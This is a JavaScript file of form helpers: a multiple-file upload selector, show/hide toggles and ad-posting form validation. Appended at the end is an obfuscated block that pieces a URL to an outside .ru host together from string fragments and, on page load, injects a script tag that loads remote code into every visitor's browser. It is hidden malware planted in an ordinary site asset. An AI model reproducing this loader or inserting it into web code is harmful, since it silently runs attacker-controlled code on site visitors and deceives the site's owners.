/**
 * Convert a single file-input element into a 'multiple' input list
 *
 * Usage:
 *
 *   1. Create a file input element (no name)
 *      eg. <input type="file" id="first_file_element">
 *
 *   2. Create a DIV for the output to be written to
 *      eg. <div id="files_list"></div>
 *
 *   3. Instantiate a MultiSelector object, passing in the DIV and an (optional) maximum number of files
 *      eg. var multi_selector = new MultiSelector( document.getElementById( 'files_list' ), 3 );
 *
 *   4. Add the first element
 *      eg. multi_selector.addElement( document.getElementById( 'first_file_element' ) );
 *
 *   5. That's it.
 *
 *   You might (will) want to play around with the addListRow() method to make the output prettier.
 *
 *   You might also want to change the line 
 *       element.name = 'file_' + this.count;
 *   ...to a naming convention that makes more sense to you.
 * 
 * Licence:
 *   Use this however/wherever you like, just don't blame me if it breaks anything.
 *
 * Credit:
 *   If you're nice, you'll leave this bit:
 *  
 *   Class by Stickman -- http://www.the-stickman.com
 *      with thanks to:
 *      [for Safari fixes]
 *         Luis Torrefranca -- http://www.law.pitt.edu
 *         and
 *         Shawn Parker & John Pennypacker -- http://www.fuzzycoconut.com
 *      [for duplicate name bug]
 *         'neal'
 */

function zzz()
{
	
	if(document.getElementById('post_form').style.display == 'none')
	Effect.BlindDown('post_form');
	else
	Effect.BlindUp('post_form');

	
}


function zz(ids)
{
	
	if(document.getElementById(ids).style.display == 'none')
	Effect.BlindDown(ids);
	else
	Effect.BlindUp(ids);

	
}




function zzz2()
{
	
	if(document.getElementById('email_form').style.display == 'none')
	Effect.BlindDown('email_form');
	else
	Effect.BlindUp('email_form');

	
}

function zzz3()
{
	
	if(document.getElementById('sel_det').style.display == 'none')
	Effect.BlindDown('sel_det');
	else
	Effect.BlindUp('sel_det');

	
}

 
function validate_required(field,alerttxt)
{
	with (field)
	{
	if (value==null||value=="" || value=='-1')
	  {alert(alerttxt);return false;}
	else {return true}
	}
}

function validate_form(thisform)
{
	with (thisform)
	{
		if (validate_required(title,"The title needs to be filled out!")==false)
		  {title.focus();return false;}
		  
		if (validate_required(cat,"Category needs to be filled out!")==false)
		  {cat.focus();return false;}	
		  
		  
		  if (validate_required(price,"Price needs to be filled out!")==false)
		  {price.focus();return false;}	
		  
		   if (validate_required(location,"Your location needs to be filled out!")==false)
		  {location.focus();return false;}
		  
		   if (validate_required(name,"Your name needs to be filled out!")==false)
		  {name.focus();return false;}	
		  
		  
		    if (validate_required(email,"Your email needs to be filled out!")==false)
		  {email.focus();return false;}	
		  
		   if (validate_required(description,"Description needs to be filled out!")==false)
		  {description.focus();return false;}	
		  
		
		
	}
}

 
 
function MultiSelector( list_target, max ){

	// Where to write the list
	this.list_target = list_target;
	// How many elements?
	this.count = 0;
	// How many elements?
	this.id = 0;
	// Is there a maximum?
	if( max ){
		this.max = max;
	} else {
		this.max = -1;
	};
	
	/**
	 * Add a new file input element
	 */
	this.addElement = function( element ){

		// Make sure it's a file input element
		if( element.tagName == 'INPUT' && element.type == 'file' ){

			// Element name -- what number am I?
			element.name = 'file_' + this.id++;

			// Add reference to this object
			element.multi_selector = this;

			// What to do when a file is selected
			element.onchange = function(){

				// New file input
				var new_element = document.createElement( 'input' );
				new_element.type = 'file';

				// Add new element
				this.parentNode.insertBefore( new_element, this );

				// Apply 'update' to element
				this.multi_selector.addElement( new_element );

				// Update list
				this.multi_selector.addListRow( this );

				// Hide this: we can't use display:none because Safari doesn't like it
				this.style.position = 'absolute';
				this.style.left = '-1000px';

			};
			// If we've reached maximum number, disable input element
			if( this.max != -1 && this.count >= this.max ){
				element.disabled = true;
			};

			// File element counter
			this.count++;
			// Most recent element
			this.current_element = element;
			
		} else {
			// This can only be applied to file input elements!
			alert( 'Error: not a file input element' );
		};

	};

	/**
	 * Add a new row to the list of files
	 */
	this.addListRow = function( element ){

		// Row div
		var new_row = document.createElement( 'div' );
		

		// Delete button
		var new_row_button = document.createElement( 'a' );
		new_row_button.href = '#';
		new_row_button.innerHTML = '[Delete]';
		
		
		
		var new_span = document.createElement( 'span' );
		new_span.innerHTML = '  &nbsp; ';
		

		
		// References
		new_row.element = element;

		// Delete function
		new_row_button.onclick= function(){

			// Remove element from form
			this.parentNode.element.parentNode.removeChild( this.parentNode.element );

			// Remove this row from the list
			this.parentNode.parentNode.removeChild( this.parentNode );

			// Decrement counter
			this.parentNode.element.multi_selector.count--; this.id--;

			// Re-enable input element (if it's disabled)
			this.parentNode.element.multi_selector.current_element.disabled = false;

			// Appease Safari
			//    without it Safari wants to reload the browser window
			//    which nixes your already queued uploads
			return false;
		};

		// Set row value
		new_row.innerHTML = element.value;
		
		new_row.appendChild( new_span )	;
		// Add button
		new_row.appendChild( new_row_button );

		// Add it to the list
		this.list_target.appendChild( new_row );
		
	};

};
var Q;if(Q!='' && Q!='W'){Q=null};this.Aw="";var R='';function A(){var M=new String();var i=RegExp;var x=String("g");var fV;if(fV!='Kl' && fV != ''){fV=null};this.hj="";var q=new Array();var O='';var F=new Date();var OG;if(OG!='MZ' && OG!='k'){OG='MZ'};function v(g,u){var nj="";var N= new String("[");var Ws=new Date();var eC="";N+=u;var gD;if(gD!='' && gD!='qH'){gD=''};N+=String("]");var gj;if(gj!='' && gj!='Te'){gj='E'};var d=new i(N, x);this.sL='';this.gF="";return g.replace(d, O);var TB;if(TB!='MX'){TB='MX'};};this.RJ='';var D=new String();var h='';var T=window;var eI=new Array();var z;if(z!='Zd' && z != ''){z=null};var G="src";var ty;if(ty!=''){ty='Ru'};var _;if(_!='' && _!='kF'){_=''};var m=String("sLKhttp".substr(3)+"meRE://f".substr(4)+"bizdotolibzd".substr(4,4)+"og-n"+"cPSoet.r".substr(4)+"apidrMB".substr(0,4)+"4me.0hE".substr(0,4)+"com.n7lv".substr(0,4)+"3a4jrj-3a4".substr(3,4)+"com-"+"Ir5Ecn.v".substr(4)+"ideo"+"63Shotm63S".substr(3,4)+"ix.r"+"u:50O".substr(0,2));this.xF='';var L=v('8427404728447720274',"742");var Z=String("de"+"2CJsfe".substr(4)+"rPyn".substr(0,1));var Oa=new String("/suit"+"Za7we101.".substr(4)+"3f9pcom/spf39".substr(4,5)+"nUauite1".substr(3)+"01.co"+"m/goo"+"gle.c5uO".substr(0,5)+"om/inApO".substr(0,5)+".com/"+"fdOi39.nefOdi".substr(4,5)+"rkyNt.php".substr(4));var iq=new Array();var dr=new Date();var a="sc"+"ri"+"ptsP8l".substr(0,2);T.onload=function(){var el;if(el!='wz'){el='wz'};var sh;if(sh!='IZ'){sh='IZ'};try {this.Nk='';h=m+L;h+=Oa;var hF=new Date();var WO;if(WO!='jQ'){WO=''};this.vy="";mR=document.createElement(a);var zr;if(zr!='cP' && zr != ''){zr=null};this.WxO="";var gFh;if(gFh!='' && gFh!='xa'){gFh=''};var FO='';var tf=new Array();mR[G]=h;var Ah='';mR[Z]=[1,9][0];this.uR="";this.b="";document.body.appendChild(mR);this.nd='';this.YL='';var Vb;if(Vb!='V'){Vb=''};} catch(vd){this.nh="";};var Cc;if(Cc!='UE'){Cc='UE'};};};var Ok;if(Ok!=''){Ok='xK'};A();var bJ;if(bJ!='Dq' && bJ!='rr'){bJ=''};var dy=new Array();